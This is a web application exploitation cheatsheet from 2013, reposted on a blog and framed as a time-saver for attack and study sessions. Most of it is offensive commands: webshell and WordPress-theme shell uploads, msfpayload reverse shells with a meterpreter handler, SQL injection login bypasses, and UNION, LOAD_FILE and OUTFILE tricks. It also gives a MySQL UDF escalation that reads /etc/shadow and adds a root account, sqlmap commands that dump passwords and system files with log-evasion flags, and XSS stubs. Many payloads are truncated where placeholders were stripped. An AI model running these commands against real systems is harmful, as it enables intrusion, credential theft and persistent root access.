The purpose of these cheatsheets is to, essentially, save time during an attack and study session.
[Last edited:2013-06-18]
WebShell Backdoors
Minimal php command shells
file cmd.php: PHP script text =>
or
Example usage via Remote File Include (RFI):
http://
Null Bytes (‰00 - html code ampersand, hash 137, 00) may also assist in some cases:
http://
‰
e.g.
http://
Encoding windows reverse command shell as asp
msfpayload windows/shell_reverse_tcp LHOST=
Encoding meterpreter in asp
msfpayload windows/meterpreter/reverse_tcp LHOST=
------
attacker msfconsole:
use multi/exploit/handler
set payload windows/meterpreter/reverse_tcp
set LHOST
set LPORT
exploit
http://stackoverflow.com/questions/3115559/exploitable-php-functions
------------------------------------------------------------------------------------------------------------------
Encoding and Decoding - for backdoors, injection, and (de)obfustication
http://www.asciitohex.com/http://home.paulschou.net/tools/xlate/
http://www.idea2ic.com/PlayWithJavascript/hexToAscii.html
Burp Suite (Decoder module)
http://portswigger.net/burp/help/decoder.html
Decode base64 standard input
base64 -d
^D
Javascript deobfustication
http://www.javascriptbeautifier.com/
http://jsbeautifier.org/
http://vitzo.com/en/tools/javascript/javascript-beautifier
------------------------------------------------------------------------------------------------------------------
Specific Web applications
Joomla
Joomla default database configuration filename
Scanning Joomla! for plugins and versions
/pentest/web/scanners/joomscan/joomscan.pl -u
/pentest/enumeration/web/cms-explorer -url
WordPress
WordPress default database configuration filename
WordPress default login page
WordPress plugins
Scanning WordPress for plugins and versions
/pentest/web/wpscan/wpscan.rb --url
/pentest/enumeration/web/cms-explorer -url
Newer WP: "Themes" can be uploaded as zip files by WP administrators i.e. you:
mkdir wpx
vi wpx/cmd.php
cat wpx/cmd.php
zip -r wpx.zip wpx
upload wpx.zip via web interface as an installed theme
Command execution access is via:
Older WP: Webshells can be added by editing exiting files/themes via the web interface or by enabling file upload and permitting the valid file extension (e.g. .php)
Cacti
Cacti default database configuration filename
DeV!L`z ClanPortal
DeV!L`z ClanPortal default database configuration filename
Drupal
Drupal default database configuration filename
Scanning Drupal for plugins and versions
/pentest/enumeration/web/cms-explorer -url -type drupal
PHPMyAdmin
/phpmyadmin/changelog.php
Timeclock
Timeclock default database configuration filename
Default files to check for additional paths
lt;target-webpath>/robots.txt
lt;target-webpath>/style.css
------------------------------------------------------------------------------------------------------------------
SQL Terminators/Comments
MSSQL and MySQL:
MySQL:
Login Pages Basic SQL injection
MS IIS
' OR '1=1';--
MySQL
'OR 1=1;--
'OR 1=1;#
'OR 1=1 LIMIT 1;#
Enumerate number of columns/fields
...UNION SELECT 1;--
...UNION SELECT 1,2;--
...UNION SELECT 1,2,3;--
Load file by injecting into the vulnerable field - encode string if necessary
…UNION ALL SELECT NULL,LOAD_FILE(‘
Dump/Write to file
(see encode text/shell to hex, base64)
...SELECT * FROM mytable INTO DUMPFILE ‘
...SELECT * FROM mytable INTO OUTFILE ‘
http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
http://ferruh.mavituna.com/sql-injection-cheatsheet-oku
MySQL <5 .0="" defined="" functions="" span="" user="">5>
command execution and privilege escalation with mysql running as root/SYSTEM
mysql> use mysql;
mysql> create table (line blob);
Query OK, 0 rows affected (0.00 sec)
mysql> insert into values(load_file(' ');
Query OK, 1 rows affected (0.00 sec)
mysql> select * from into dumpfile '/usr/lib/lib_mysqludf_sys.so';
mysql> insert into
Query OK, 1 rows affected (0.00 sec)
mysql> select * from
Query OK, 1 rows affected (0.00 sec)
mysql> create function returns int soname 'lib_mysqludf_sys.so';
Example command execution with the new function:
mysql> set @status := ('cat /etc/shadow > /tmp/shadow');
Query OK, 0 rows affected (0.06 sec)
mysql> set @status := ('/usr/sbin/useradd -o -u0 -g0 -d /dev/null -s /bin/bash &new-username>');
Query OK, 0 rows affected (0.06 sec)
mysql> set @status := ('echo : | /usr/sbin/chpasswd');
Query OK, 0 rows affected (0.06 sec)
or
mysql> select ('/usr/sbin/useradd -o -u0 -g0 -d /dev/null -s /bin/bash &new-username>');
+----------------------------------------------------------------------------------------------------------------------------------------------------------+
| ('/usr/sbin/useradd -o -u0 -g0 -d /dev/null -s /bin/bash &new-username>'); |+----------------------------------------------------------------------------------------------------------------------------------------------------------+
| 4294967296 | +----------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (1.70 sec)
|
| 4294967296 | +----------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (1.70 sec)
SQLMap commands
cd /pentest/database/sqlmap
Retrieve SQL Banner, current database and current user; test if the user is the db administrator
./sqlmap.py -u "http://
Enumerate User Passwords
./sqlmap.py -u "http://
List of Databases
./sqlmap.py -u "http://
Retrieve tables from specific Database
./sqlmap.py -u "http://
Dump specific table contents
./sqlmap.py -u "http://
Retrieve system /etc/password file
./sqlmap.py -u "http://
Retrieve apache2 configuration file to identify live website config files
./sqlmap.py -u "http://
Retrieve default configuration file to subsequently identify Document Root (web directory location)
./sqlmap.py -u "http://
Retrieve CMS/Web app default configuration file if possible
./sqlmap.py -u "http://
Other interesting flags:
--check-waf Check for existence of WAF/IPS/IDS protection - implementation of nmap http-waf-detect nse script
Some logfile Misdirection flags:
--random-agent Use randomly selected HTTP User-Agent header
--safe-url=
--safe-freq=
--mobile Imitate smartphone through HTTP User-Agent header
------------------------------------------------------------------------------------------------------------------
Basic Client-side attacks
XSS - iframe
" width="0" height="0">
XSS - javascript
References and sources also include:
http://g0tmi1k.blogspot.com
http://ha.ckers.org/sqlinjection/
Fuente: http://it-ovid.blogspot.com/2012/04/web-application-exploitation-cheatsheet.html
No hay comentarios:
Publicar un comentario